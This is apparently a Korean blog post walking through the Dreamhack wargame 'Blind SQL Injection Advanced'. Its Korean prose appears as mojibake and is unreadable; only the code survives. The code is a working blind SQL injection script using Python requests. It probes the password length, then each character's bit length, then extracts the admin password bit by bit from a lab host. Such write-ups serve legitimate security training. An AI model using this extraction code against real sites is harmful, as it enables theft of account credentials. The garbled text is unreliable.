๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
โœ’๏ธ Web Hacking/Dreamhack

[Dreamhack] Blind SQL Injection Advanced ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

by A Lim Han 2022. 11. 17.

7 - 1 - 1. Blind SQL Injection Advanced ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

 

 

 

# Blind SQL Injection Advanced ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

1. ๋ฌธ์ œ ํ™•์ธ ํ›„ ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

 

 

 

 

2. ๋ฌธ์ œ ํŒŒ์ผ ์˜คํ”ˆ ํ›„ ์ฝ”๋“œ ๋ถ„์„

init.sql

+ << Line 1 ~ 2 >>

: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค user_db๋ฅผ utf-8์˜ ์–ธ์–ด ์…‹์œผ๋กœ ์ƒ์„ฑํ•˜๋Š” ์ฝ”๋“œ

 

+ << Line 11 ~ 13 >>

: upw, uid ์ปฌ๋Ÿผ์„ ๊ฐ€์ง€๋Š” users ํ…Œ์ด๋ธ” ์ƒ์„ฑ

-->  guest, admin, test ๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ๋Š” ๊ฐ๊ฐ guest, Flag, test

 

 

 

app.py

+ << Line 1 ~ 3 >>

: ๊ตฌํ˜„๋œ ์›น ์„œ๋ฒ„๋Š” flask, mysql์„ ์ด์šฉํ•˜์—ฌ ๋™์ž‘

 

+ << Line 18 ~ 20 >>

: row์˜ ๊ฐœ์ˆ˜๋ฅผ 1๊ฐœ๋กœ ์ œํ•œํ•˜์—ฌ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜๋Š” ๊ฒฝ์šฐ ๊ฒฐ๊ณผ๊ฐ’ ์ถœ๋ ฅ

 

+ << Line 23 ~ 32 >>

: GET ๋ฉ”์†Œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ  / ๊ฒฝ๋กœ์— uid ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ๊ฐ’์„ ์ž…๋ ฅ๋ฐ›์Œ

: ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์€ ๋ณ„๋„์˜ ๊ฒ€์ฆ ๊ณผ์ •์„ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ๊ณง๋ฐ”๋กœ mysql์ฟผ๋ฆฌ์— ์‚ฌ์šฉ๋จ

-->  SQL Injection ์ทจ์•ฝ์  ๋ฐœ์ƒ

 

 

 

 

3. ์ ‘์† ์ •๋ณด ํ™•์ธ ํ›„ ์•ˆ๋‚ด๋œ ๋งํฌ๋กœ ์ ‘์†

๋ฌธ์ œ ํ’€์ด ์‹คํŒจ ํšŸ์ˆ˜๊ฐ€ ๋งŽ์•„ ์ ‘์† ์ •๋ณด๊ฐ€ ์บก์ณ๋ณธ๋งˆ๋‹ค ์ƒ์ดํ•จ

 

 

 

 

 

4. ๋นˆ์นธ์— notes ์ž…๋ ฅ ํ›„ submit ๋ฒ„ํŠผ ํด๋ฆญ 

+ ์ž…๋ ฅ๊ฐ’์ด ํ•„ํ„ฐ๋ง ์—†์ด ์กฐ๊ฑด๋ฌธ์œผ๋กœ ๋“ค์–ด๊ฐ์„ ํ™•์ธ

 

 

 

 

5. admin ๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•œ ์ฟผ๋ฆฌ๋ฌธ ์ž‘์„ฑ ํ›„ ์‹คํ–‰

1  #admin๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด ํ™•์ธ
2  from requests import get
3 
4  host = "http://host3.dreamhack.games:17961/"
5
6  password_length = 0
7
8  while True:
9      password_length += 1
10
11      query = f"admin' and char_length(upw) = {password_length}-- -"
12      r = get(f"{host}/?uid={query}")
13
14      if "exists" in r.text:
15          break
16
17  print(f"password length: {password_length}")

 

ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๊ฐ€ 13์ž„์„ ํ™•์ธ

+ ์ฟผ๋ฆฌ๋ž€?

: ์‚ฌ์šฉ์ž๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ •๋ณด๋ฅผ ์š”์ฒญํ•˜๋Š” ํ–‰์œ„

 

+ << Line 1 >>

: ์ฝ”๋“œ ์ž‘์„ฑ์„ ์œ„ํ•ด request ๋ชจ๋“ˆ ์‚ฌ์šฉ

 

+ << Line 11 >>

: ๋ฌธ์ž์—ด ๋ฐ์ดํ„ฐ์˜ ๋ฌธ์ž ๊ธธ์ด๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ ๋ฐ์ดํ„ฐ์˜ ๋ฐ”์ดํŠธ ์ˆ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ธฐ ์œ„ํ•ด char_length ํ•จ์ˆ˜ ์‚ฌ์šฉ

-->  length ํ•จ์ˆ˜์˜ ๊ฒฝ์šฐ ๋ฌธ์ž์—ด์ด ์•„์Šคํ‚ค์ฝ”๋“œ๋กœ ๊ตฌ์„ฑ๋˜์–ด์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ ๋ถ€์ •ํ™•ํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ์–ด ์‚ฌ์šฉ X 

 

 

 

 

6. admin ๊ณ„์ • ํŒจ์Šค์›Œ๋“œ์˜ ๋ฌธ์ž๋ณ„ ๋น„ํŠธ์—ด ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•œ ์ฟผ๋ฆฌ๋ฌธ ์ž‘์„ฑ ํ›„ ์‹คํ–‰ 

1  #admin๊ณ„์ •์˜ ํŒจ์Šค์›Œ๋“œ ๋ฌธ์ž๋ณ„ ๋น„ํŠธ์—ด ๊ธธ์ด ํ™•์ธ
2  for i in range(1, password_length + 1):
3
4      bit_length = 0
5
6      while True:
7          bit_length += 1
8
9          query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
10          r = get(f"{host}/?uid={query}")
11
12          if "exists" in r.text:
13              break
14
15      print(f"character {i}'s bit length: {bit_length}")

 

๊ฐ ํŒจ์Šค์›Œ๋“œ์˜ ๋ฌธ์ž๋ณ„ ๋น„ํŠธ์—ด ๊ธธ์ด๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์ถœ๋ ฅ๋จ์„ ํ™•์ธ

+ ํŒจ์Šค์›Œ๋“œ์˜ ๊ฐ ๋ฌธ์ž๋ณ„ ๋น„ํŠธ์—ด ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•˜๋Š” ์ด์œ ?

: admin  ๊ณ„์ • ํŒจ์Šค์›Œ๋“œ์˜ ๊ฐ ๋ฌธ์ž๊ฐ€ ์–ด๋–ค ๊ฒƒ์ธ์ง€ ๋ช…ํ™•ํžˆ ์•Œ ์ˆ˜ ์—†์–ด ๊ณง๋ฐ”๋กœ ๋น„ํŠธ์—ด ๋ณ€ํ™˜ ๋ถˆ๊ฐ€

-->  ๋น„ํŠธ์—ด ๋ณ€ํ™˜ ์ถ”์ถœ ๊ณผ์ • ์ „ ๊ฐ ๋น„ํŠธ์—ด์˜ ๊ธธ์ด๋ฅผ ํ™•์ •์ ์œผ๋กœ ์•Œ์•„๋‚ด๋Š” ๊ณผ์ •์ด ์žˆ์–ด์•ผ ํ•จ

 

+ << Line 9 ~ 10 >>

: length ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ฐ ๋ฌธ์ž๋ณ„ ๋น„ํŠธ์—ด์˜ ๊ธธ์ด๋ฅผ ์ถœ๋ ฅ

-->  ๋น„ํŠธ์—ด์ด ํ•ญ์ƒ 0๊ณผ 1๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋Š” ๊ฒƒ์€ ์ž๋ช…ํ•˜์—ฌ ์ผ๋ฐ˜์ ์ธ ํ•จ์ˆ˜ ์‚ฌ์šฉ ๊ฐ€๋Šฅ

 

 

 

 

7. ํŒจ์Šค์›Œ๋“œ์˜ ๋ฌธ์ž๋ณ„ ๋น„ํŠธ์—ด์„ ์ถ”์ถœํ•˜๊ณ , ์ถ”์ถœ ๋น„ํŠธ์—ด์„ ๋ฌธ์ž๋กœ ๋ณ€ํ™˜ํ•ด์ฃผ๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ ์ž‘์„ฑ

1      bits = ""
2
3      for j in range(1, bit_length + 1):
4
5          query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
6          r = get(f"{host}/?uid={query}")
7
8          if "exists" in r.text:
9              bits += "1"
10          else:
11              bits += "0"
12
13      print(f"character {i}'s bits: {bits}")
14
15      password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
16
17  print(password)

+ << Line 15 >>

: ๋น„ํŠธ์—ด์„ ์ •์ˆ˜๋กœ ๋ณ€ํ™˜  -->  ํด๋ž˜์Šค int ์‚ฌ์šฉ

: ์ •์ˆ˜๋ฅผ Bid Endian ํ˜•ํƒœ๋กœ ๋ณ€ํ™˜  -->  int.to_bytes ํ•จ์ˆ˜ ์ด์šฉ

: ๋ฌธ์ž๋ฅผ ์ธ์ฝ”๋”ฉ์— ๋งž๊ฒŒ ๋ณ€ํ™˜  -->  bytes.decode ํ•จ์ˆ˜ ์ด์šฉ

 

 

 

 

8. ์œ„์˜ ์ฝ”๋“œ๋“ค๊ณผ ์ฟผ๋ฆฌ๋ฌธ๋“ค์„ ๋ชจ๋‘ ํ•ฉ์ณ ์‹คํ–‰

Flag๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์ถœ๋ ฅ

 

 

 

 

+ ๋ฌธ์ œ ํ’€์ด ์ฐธ๊ณ 

https://learn.dreamhack.io/313#12